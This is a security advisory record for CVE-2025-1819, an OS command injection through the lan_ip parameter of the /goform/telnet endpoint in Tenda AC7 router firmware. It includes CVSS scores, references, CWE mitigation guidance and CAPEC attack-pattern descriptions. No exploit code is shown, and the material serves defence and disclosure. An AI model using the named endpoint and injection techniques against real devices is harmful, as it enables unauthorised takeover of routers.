Vulnerability from github – Published: 2025-03-02 18:30 – Updated: 2025-03-02 18:30A vulnerability, which was classified as critical, was found in Tenda AC7 1200M 15.03.06.44. Affected is the function TendaTelnet of the file /goform/telnet. The manipulation of the argument lan_ip leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-1819"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-02T17:15:11Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, was found in Tenda AC7 1200M 15.03.06.44. Affected is the function TendaTelnet of the file /goform/telnet. The manipulation of the argument lan_ip leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-w8pf-hh42-q6rj",
"modified": "2025-03-02T18:30:53Z",
"published": "2025-03-02T18:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1819"
},
{
"type": "WEB",
"url": "https://github.com/Raining-101/IOT_cve/blob/main/Tenda%20a7%20V15.03.06.44%20Command%20injection.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.298092"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.298092"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.504429"
},
{
"type": "WEB",
"url": "https://www.tenda.com.cn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.